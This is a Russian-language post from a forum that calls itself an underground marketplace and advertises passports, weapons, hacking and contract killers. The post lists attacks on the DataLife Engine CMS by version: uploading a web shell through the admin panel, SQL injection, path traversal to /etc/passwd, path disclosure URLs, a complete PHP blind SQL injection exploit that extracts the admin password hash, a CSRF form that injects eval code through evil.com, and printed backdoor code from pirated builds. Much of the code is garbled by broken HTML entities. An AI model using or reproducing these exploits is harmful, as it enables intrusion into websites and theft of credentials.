Что нового
Теневой форум

Добро пожаловать на FSELL- крупнейший теневой форум. У нас Вы сможете найти огромное количество заработка в интернете, купить паспорт, ксиву, оружие, куча многих товаров и услуг, в виде пробива, взлома, нанять киллера. Все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса, это убережет Вас от мошенников.

Обзор уязвимостей DLE (DataLife Engine)

Дима22

New Member
Как узнать установленную версию DLE?

1. Открываем: site.com/engine/ajax/updates.php
2. Смотрим установленную версию

Как залить шелл в DLE v4.1-8.2?
Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.
Автор способа: desTiny

DataLife Engine <= v4.1

sql-inj
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php.


DataLife Engine <= v4.2


http ://dle.com/engine/ajax/vote.php?vote_action=results&vote_skin=../../../.




./../../../../../../../etc/passwd�

Раскрытие полного установочного пути:
http ://dle.com/index.php?do=pm&doaction=newpm&user[]=

DataLife Engine v6.3

Раскрытие пути:
dle.com/index.php?catalog[]=

DataLife Engine v6.7


Раскрытие пути:

http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php


DLE v6.7 Online Mod Exploit Blind SQL Injection:
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to [email protected] so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <[email protected]>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt &nbs
p;PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);

?>

<html>

<head>
&n
bsp; <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
&n
bsp; <style type="text/css">
&n
bsp; body{
&n
bsp; &
;
;
;nbs
p; font-family: Tahoma;
&n
bsp; &
;
;
;nbs
p; font-size: 12px;
&n
bsp; &
;
;
;nbs
p; color: #e1e1e1;
&n
bsp; &
;
;
;nbs
p; background-color: #222;
&n
bsp; }
&n
bsp; </style>
</head>

<body>
&n
bsp; <center>
&n
bsp; <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
&n
bsp; dle path:<input type="text" name="server" value="http://localhost/dle/" />
&n
bsp; <br/><br/>
&n
bsp; admin id: <input type="text" name="userid" value="1" />
&n
bsp; <br/><br/>
&n
bsp; <input type="submit" />
&n
bsp; </form>
&n
bsp; </center>
</body>

</html>

<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;


$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
&n
bsp; $_('invalid url');
} else {
&n
bsp; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; $_('hostname is dead');
&n
bsp; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p; . "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p; . "Cookie: dle_onl_session='underWHAT?!rnrn";
&n
bsp; fwrite($fsocket, $request) or
&n
bsp; $_ ('failed to write data to socket');
&n
bsp; while ($flag === false){
&n
bsp; &
;
;
;nbs
p; $respo


nce .= fread($fsocket, 128);
&n
bsp; &
;
;
;nbs
p; $flag = strpos($responce, '</html>') ? true: false;
&n
bsp; }
$flag = false;
&n
bsp; if (strpos($responce, 'MySQL Error') > 0){
&n
bsp; while (strlen($password) < 32)
&n
bsp; {
&n
bsp; &
;
;
;nbs
p; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; &
;
;
;nbs
p; $_(
;
;
;'hostname is dead');
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(se
lect

1 union select 3))/*";
&n
bsp; &
;
;
;nbs
p; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p;
. "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p;
. "Connection: closern"
&n
bsp; &
;
;
;nbs
p;
. "Cookie: dle_onl_session=$cookiernrn";
&n
bsp; &
;
;
;nbs
p; fwrite($fsocket, $request) or
&n
bsp; &
;
;
;nbs
p; $_ ('failed to write data to socket');
&n
bsp; &
;
;
;nbs
p; $responce = fread($fsocket, 8000);
&n
bsp; &
;
;
;nbs
p; if (!strpos($responce, 'returns more than 1 row')){
&n
bsp; &
;
;
;nbs
p; $passw


ord .= $alphabet[$alppos];
&n
bsp; &
;
;
;nbs
p; $curpo


s += 1;
&n
bsp; &
;
;
;nbs
p; $alppo


s = 0;
&n
bsp; &
;
;
;nbs
p; } else {
&n
bsp; &
;
;
;nbs
p; $alppo


s += 1;
&n
bsp; &
;
;
;nbs
p; }
&n
bsp; &
;
;
;nbs
p; $flag = false;
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; fclose($fsocket);
&n
bsp; }
&n
bsp; } else {
die ('<center><h1>not vulnerable</h1></center>');
}
&n
bsp; echo "<center><h1>$password</h1></center>"
;;&a
mp;n
bsp; &
;
;
;nbs
p;

}
}


?>

XSRF баг:

site.com/dle/engine/modules/imagepreview.php?image=[XSRF]

Получение шелла через залогиненного админа:

<form action="http://evil.com/admin.php?mod=options&action=syscon"
method="post">
<input name="save_con[test');@eval(trim(stripslashes($l
ala&
amp;
#41;));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>

получение:
http ://evil.com/adm.php?mod=options&action=syscon&lala=phpcode()

DataLife Engine v8.2

Отсутствие фильтрации в /engine/init.php
Уязвимость заключается в отсутствии фильтрации параметра "dle_skin" в файле init.php и позволяет увидеть пути к корню сайта.
1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим
dle_skin
и значение
../
2. Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
3. После этого на сайте видим ошибку:
Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314
Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:php5pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.
4. Соображающие люди поймут как сделать из этого LFI.
Автор: mailbrush

"Уязвимость" восстановления пароля:
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1


DatalifeEngine 8.2 Remote File Inclusion Vulnerability
www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]

DataLife Engine v8.3

Раскрытие путей:
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}

1. Открываем site.ru/engine/images.php?area=short_story&add_id=
2. Грузим картинку и получаем раскрытые пути.


Бэкдор в нулле DLE

Файл лежит в (/engine/ajax/updates.php). Код бэкдора:

if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng
9;;
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?vers
io
n_id=".$_REQUEST['versionid']."&key=".
$config
1;'key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body&

#62;
</HTML>
HTML;
if($_POST['text']!=''){eval(stripcsl
ashes
0;$_POST['text']));
}}

DataLife Engine v8.5


Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в uploadengineajaxkeywords.php
Вызвать его можно так:
<form name="eval" action="http://site.com/upload/engine/ajax/keywords.php" method="post">
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="zapros">
</form>
 
Вверх